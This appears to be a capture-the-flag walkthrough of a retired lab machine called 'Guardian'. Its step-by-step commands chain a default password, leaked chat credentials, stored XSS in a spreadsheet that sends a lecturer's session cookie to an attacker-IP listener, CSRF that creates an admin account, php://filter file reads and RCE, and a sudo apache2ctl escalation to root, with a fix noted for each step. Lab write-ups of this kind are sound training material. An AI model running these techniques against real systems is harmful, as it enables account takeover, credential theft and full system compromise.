Guardian
Summary
I enumerated a university student portal and a Gitea source-code server hosted on the same Apache instance. A default student password published on the portal's own help page gave a first login, and an unprotected chat feature leaked credentials for a Gitea account, exposing the portal's full source code. Source review revealed an outdated spreadsheet library with a known stored-XSS issue in its HTML export; a crafted spreadsheet submitted as an assignment ran script in a lecturer's browser when they reviewed it, stealing their session.
That session was used to post a malicious notice link that an administrator's browser automatically visited, and a weak CSRF-token implementation on the admin user-creation endpoint let my page silently create a new administrator account. As that admin, a report-viewer endpoint that filtered path traversal but not PHP stream wrappers was abused to read application source and database credentials, which were reused to reach a shell, and a misconfigured sudo rule for the Apache control binary then gave code execution as root: full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for root>"
export PASSWORD4="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<captured_from_callback>, <chosen_pw>, <csrf>, <leaked_password>, <php_filter_chain_payload>, <portal_user_from_hash_crack>, <user>, <xss-payload-as-sheet-name>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 4
Find all open TCP ports.
$ nmap -p- --min-rate=1000 -T4 $TARGETIdentify service versions.
$ nmap -p22,80 -sC -sV $TARGETAdd the discovered virtual hosts.
$ echo "$TARGET guardian.htb portal.guardian.htb gitea.guardian.htb" | sudo tee -a /etc/hostsConfirm the portal redirects to /login.php and issues a session cookie.
$ curl --resolve portal.guardian.htb:80:$TARGET -sS -D - http://portal.guardian.htb/FixDo not expose internal developer tooling on the public web tierMedium
Exact commands 2
Fetch the login form and read the help/FAQ text for the documented default password.
$ curl -sS --resolve portal.guardian.htb:80:$TARGET http://portal.guardian.htb/login.php -o /tmp/guardian-login.htmlAuthenticate as a student; a 302 to /student/home.php confirms success.
$ curl -sS --resolve portal.guardian.htb:80:$TARGET -i -c /tmp/guardian-student.cookies -d "username=GU0142023&password=$PASSWORD4" http://portal.guardian.htb/login.phpFixEliminate the organization-wide default passwordHigh
Exact commands 4
Iterate small ID pairs until an admin conversation containing a credential appears.
$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-student.cookies 'http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2'Fetch the Gitea login page and extract the _csrf token from the HTML.
$ curl -sS --resolve gitea.guardian.htb:80:$TARGET -c /tmp/guardian-gitea.cookies http://gitea.guardian.htb/user/login -o /tmp/guardian-gitea-login.htmlLog in with the short username 'jamil' (not the dotted email-style name).
$ curl -sS --resolve gitea.guardian.htb:80:$TARGET -i -b /tmp/guardian-gitea.cookies -c /tmp/guardian-gitea.cookies -d '_csrf=<csrf>&user_name=jamil&password=<leaked_password>' http://gitea.guardian.htb/user/loginReview the recovered portal source/history for the upload and review logic.
$ git -C /tmp/guardian-portal-git log --all --oneline --decorate --statFixAdd authorization checks to the chat feature and remove hardcoded credentials from conversation textHigh
Exact commands 4
Listener to receive the out-of-band callback from the lecturer's browser (run in background).
$ python3 -m http.server 80Build the .xlsx with the injection in the sheet title; substitute <xss-payload-as-sheet-name> with a markup/script string that calls back to your listener with document.cookie. Patch xl/workbook.xml directly if the sheet-name length limit truncates it.
$ python3 -c "import openpyxl; wb=openpyxl.Workbook(); wb.active.title='<xss-payload-as-sheet-name>'; wb.save('/tmp/guardian-xss.xlsx')"Upload the malicious submission; wait for a lecturer to open it in view-submission.php.
$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-student.cookies -F 'assignment_id=15' -F 'submission_title=Statistics in Business' -F 'attachment=@/tmp/guardian-xss.xlsx;type=application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' 'http://portal.guardian.htb/student/submission.php?assignment_id=15'Replay the captured PHPSESSID to confirm the hijacked session shows the lecturer's own name/role.
$ curl -sS --resolve portal.guardian.htb:80:$TARGET -i -c /tmp/guardian-jamil-portal.cookies -b 'PHPSESSID=<captured_from_callback>' http://portal.guardian.htb/lecturer/home.phpFixUpgrade the spreadsheet library and sanitize all rendered workbook contentCritical
Exact commands 5
Confirm the admin bot visits my own links.
$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-jamil-portal.cookies -d "title=Notice&body=Review this&reference_link=http://$ATTACKER_IP:8000/track" http://portal.guardian.htb/lecturer/notices/create.phpGrab a currently-valid csrf_token value from the hidden form field.
$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-jamil-portal.cookies http://portal.guardian.htb/lecturer/notices/create.php -o /tmp/guardian-notice-form.htmlHost a self-submitting HTML form (autofocus/onload submit) that POSTs username/password/full_name/email/dob/address/user_role=admin plus the stolen csrf_token to /admin/createuser.php.
$ python3 -m http.server 8000 --directory /tmp/guardian-csrf-pagePost a second notice linking to the hosted CSRF form to trigger the admin visit.
$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-jamil-portal.cookies -d "title=Notice2&body=See attached&reference_link=http://$ATTACKER_IP:8000/csrf.html" http://portal.guardian.htb/lecturer/notices/create.phpVerify the new admin account was actually created.
$ curl -sS --resolve portal.guardian.htb:80:$TARGET -i -c /tmp/guardian-eviladmin.cookies -d 'username=eviladmin&password=<chosen_pw>' http://portal.guardian.htb/login.phpFixBind CSRF tokens to the session and the specific form, not a shared global poolCritical
Exact commands 3
Confirm the wrapper bypass on an allowed report name; response is base64.
$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-eviladmin.cookies 'http://portal.guardian.htb/admin/reports.php?report=php://filter/read=convert.base64-encode/resource=reports/enrollment.php'Adjust the wrapper/resource path as needed to reach config.php while still satisfying the suffix regex; decode with base64 -d.
$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-eviladmin.cookies 'http://portal.guardian.htb/admin/reports.php?report=php://filter/read=convert.base64-encode/resource=../../config/config.php%00enrollment.php' -o /tmp/guardian-config.b64Recover the plaintext DB DSN, root password, and application salt.
$ base64 -d /tmp/guardian-config.b64 > /tmp/guardian-config.phpFixClose the PHP stream-wrapper bypass in the report viewer and remove plaintext secrets from source-controlled configCritical
Exact commands 4
Use a shortened php://filter conversion chain (overlong chains silently return the normal Reports Menu page instead of output) to get synchronous command execution as www-data; verify with id.
$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-eviladmin.cookies 'http://portal.guardian.htb/admin/reports.php?report=<php_filter_chain_payload>enrollment.php'Confirm DB credential reuse and dump the application's user table from the host once a shell is available.
$ mysql -h 127.0.0.1 -u root -p"$PASSWORD" guardiandb -e 'select username,password from users;'Switch to the local OS account whose password matches a cracked/reused portal hash, if one exists; else stabilize the www-data RCE into a shell (bash -i or a reverse shell) to read user.txt.
$ su - <portal_user_from_hash_crack>Read the user flag; replace the printed value with <user.txt> when documenting.
$ cat /home/<user>/user.txtExact commands 3
Confirm the NOPASSWD rule allowing apache2ctl/apachectl (or an equivalent wrapper) to run as root.
$ sudo -lClassic GTFOBins pattern: supply a crafted config/module path to the privileged control script to run code as root. Substitute the exact sudo-permitted invocation shown by sudo -l.
$ echo 'LoadModule foo_module /tmp/evil.so' > /tmp/evil.conf; sudo apache2ctl -f /tmp/evil.conf -k startRead the root flag once a root shell is obtained; replace the printed value with <root.txt> when documenting.
$ cat /root/root.txtFixRemove the sudo rule permitting the Apache control script to run as rootCritical
Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary: e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.